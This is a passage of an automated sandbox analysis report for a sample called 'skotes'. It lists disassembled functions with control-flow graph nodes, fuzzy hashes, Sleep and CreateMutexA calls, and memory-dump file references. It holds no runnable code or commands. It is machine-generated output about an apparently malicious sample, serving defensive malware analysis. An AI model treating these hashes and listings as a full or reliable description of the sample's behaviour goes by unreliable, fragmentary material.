                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754983467.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755002305.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755019693.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755037459.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755055609.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_1_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1464230837-0
                                                                                                                                                                                                                                                                                    • Opcode ID: a20eaf503d2246e155b55f7b36f2acfcf9f6e826801bfba058d775a30185fda2
                                                                                                                                                                                                                                                                                    • Instruction ID: 10b54ae78ed83a2f08a49ecfbfab1886c25045f09628e35815b10661490d622a
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: a20eaf503d2246e155b55f7b36f2acfcf9f6e826801bfba058d775a30185fda2
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 78311671A44200CBFB189B68DC99B6DB7A2EF82315F244318E824EF3E5C77599898752
                                                                                                                                                                                                                                                                                    Function 00159F44 Relevance: 3.1, APIs: 2, Instructions: 137sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 22 159f44-159f64 26 159f66-159f72 22->26 27 159f92-159fae 22->27 28 159f74-159f82 26->28 29 159f88-159f8f call 16d663 26->29 30 159fb0-159fbc 27->30 31 159fdc-159ffb 27->31 28->29 34 15a92b 28->34 29->27 36 159fd2-159fd9 call 16d663 30->36 37 159fbe-159fcc 30->37 32 159ffd-15a009 31->32 33 15a029-15a916 call 1680c0 31->33 38 15a01f-15a026 call 16d663 32->38 39 15a00b-15a019 32->39 41 15a953-15a994 Sleep CreateMutexA 34->41 42 15a92b call 186c6a 34->42 36->31 37->34 37->36 38->33 39->34 39->38 52 15a9a7-15a9a8 41->52 53 15a996-15a998 41->53 42->41 53->52 54 15a99a-15a9a5 53->54 54->52
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNELBASE(00000064), ref: 0015A963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNELBASE(00000000,00000000,001B3254), ref: 0015A981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000001.00000002.1754119546.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754097696.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754119546.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754179738.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754197142.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754215902.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754314061.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754332330.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754353726.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754371706.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754424643.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754442580.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754464907.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754482206.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754500752.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754517372.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754533933.0000000000370000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754555546.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754578073.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754596572.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754614445.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754632770.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754650315.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754667468.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754685146.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754702147.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754721172.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754739894.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754757576.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754774602.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754791026.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754807730.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754830765.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754907550.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754927420.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754946962.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754966840.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754983467.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755002305.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755019693.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755037459.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755055609.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_1_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1464230837-0
                                                                                                                                                                                                                                                                                    • Opcode ID: ca9d7416377a3fde2e38723dfb86a3155bd1955c2e0540f46e5bd2b1d3cb60c5
                                                                                                                                                                                                                                                                                    • Instruction ID: 785223b7f0fb485881f6afb3b5b1205ae8f5ef2c4ef2a80fe3ad8df0b527451c
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ca9d7416377a3fde2e38723dfb86a3155bd1955c2e0540f46e5bd2b1d3cb60c5
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 76316631B44200CBEF089B78DC997ADBBA2EF86315F244719E824EF2D5C77599C88712
                                                                                                                                                                                                                                                                                    Function 0015A079 Relevance: 3.1, APIs: 2, Instructions: 136sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 56 15a079-15a099 60 15a0c7-15a0e3 56->60 61 15a09b-15a0a7 56->61 62 15a0e5-15a0f1 60->62 63 15a111-15a130 60->63 64 15a0bd-15a0c4 call 16d663 61->64 65 15a0a9-15a0b7 61->65 66 15a107-15a10e call 16d663 62->66 67 15a0f3-15a101 62->67 68 15a132-15a13e 63->68 69 15a15e-15a916 call 1680c0 63->69 64->60 65->64 70 15a930 65->70 66->63 67->66 67->70 75 15a154-15a15b call 16d663 68->75 76 15a140-15a14e 68->76 72 15a953-15a994 Sleep CreateMutexA 70->72 73 15a930 call 186c6a 70->73 86 15a9a7-15a9a8 72->86 87 15a996-15a998 72->87 73->72 75->69 76->70 76->75 87->86 88 15a99a-15a9a5 87->88 88->86
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNELBASE(00000064), ref: 0015A963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNELBASE(00000000,00000000,001B3254), ref: 0015A981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000001.00000002.1754119546.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754097696.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754119546.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754179738.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754197142.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754215902.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754314061.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754332330.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754353726.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754371706.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754424643.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754442580.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754464907.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754482206.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754500752.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754517372.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754533933.0000000000370000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754555546.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754578073.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754596572.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754614445.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754632770.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754650315.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754667468.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754685146.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754702147.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754721172.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754739894.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754757576.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754774602.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754791026.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754807730.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754830765.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754907550.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754927420.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754946962.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754966840.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754983467.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755002305.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755019693.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755037459.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755055609.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_1_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1464230837-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 0c8d0e77413e0495b70346904e9723a7233de850832849ce2b9018b888a14d23
                                                                                                                                                                                                                                                                                    • Instruction ID: 6030acbae124187108c7088c277f7690c0cb8101b70ab7a053878d6ff42a001d
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 0c8d0e77413e0495b70346904e9723a7233de850832849ce2b9018b888a14d23
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B0314631B90200DBEF089B78DCD9B6DB772EF81315F644319E824EB2D5C77699888716
                                                                                                                                                                                                                                                                                    Function 0015A1AE Relevance: 3.1, APIs: 2, Instructions: 135sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 90 15a1ae-15a1ce 94 15a1d0-15a1dc 90->94 95 15a1fc-15a218 90->95 96 15a1f2-15a1f9 call 16d663 94->96 97 15a1de-15a1ec 94->97 98 15a246-15a265 95->98 99 15a21a-15a226 95->99 96->95 97->96 100 15a935 97->100 104 15a267-15a273 98->104 105 15a293-15a916 call 1680c0 98->105 102 15a23c-15a243 call 16d663 99->102 103 15a228-15a236 99->103 107 15a953-15a994 Sleep CreateMutexA 100->107 108 15a935 call 186c6a 100->108 102->98 103->100 103->102 111 15a275-15a283 104->111 112 15a289-15a290 call 16d663 104->112 120 15a9a7-15a9a8 107->120 121 15a996-15a998 107->121 108->107 111->100 111->112 112->105 121->120 122 15a99a-15a9a5 121->122 122->120
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNELBASE(00000064), ref: 0015A963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNELBASE(00000000,00000000,001B3254), ref: 0015A981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000001.00000002.1754119546.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754097696.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754119546.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754179738.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754197142.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754215902.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754314061.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754332330.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754353726.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754371706.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754388426.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754424643.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754442580.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754464907.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754482206.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754500752.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754517372.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754533933.0000000000370000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754555546.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754578073.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754596572.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754614445.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754632770.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754650315.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754667468.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754685146.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754702147.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754721172.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754739894.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754757576.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754774602.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754791026.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754807730.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754830765.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754854291.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754907550.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754927420.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754946962.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754966840.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754983467.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755002305.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755019693.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755037459.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1755055609.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_1_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1464230837-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 75bebd8577dbd8ecbb2dcdabf1241bc311176a8b650edf531c4307545337f257
                                                                                                                                                                                                                                                                                    • Instruction ID: e81083adbdad34da83343498c4a2b358502c54011bcea3f42d1e8bc34471e713
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 75bebd8577dbd8ecbb2dcdabf1241bc311176a8b650edf531c4307545337f257
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 27314831B40100DBEB089B68DCD976DB772AF86315F644319E824EF2D5D77559C88712
                                                                                                                                                                                                                                                                                    Function 0015A418 Relevance: 3.1, APIs: 2, Instructions: 133sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 124 15a418-15a438 128 15a466-15a482 124->128 129 15a43a-15a446 124->129 130 15a484-15a490 128->130 131 15a4b0-15a4cf 128->131 132 15a45c-15a463 call 16d663 129->132 133 15a448-15a456 129->133 134 15a4a6-15a4ad call 16d663 130->134 135 15a492-15a4a0 130->135 136 15a4d1-15a4dd 131->136 137 15a4fd-15a916 call 1680c0 131->137 132->128 133->132 138 15a93f-15a994 call 186c6a * 4 Sleep CreateMutexA 133->138 134->131 135->134 135->138 143 15a4f3-15a4fa call 16d663 136->143 144 15a4df-15a4ed 136->144 160 15a9a7-15a9a8 138->160 161 15a996-15a998 138->161 143->137 144->138 144->143 161->160 162 15a99a-15a9a5 161->162 162->160
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Sleep.KERNELBASE(00000064), ref: 0015A963
                                                                                                                                                                                                                                                                                    • CreateMutexA.KERNELBASE(00000000,00000000,001B3254), ref: 0015A981
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000001.00000002.1754119546.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000001.00000002.1754097696.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
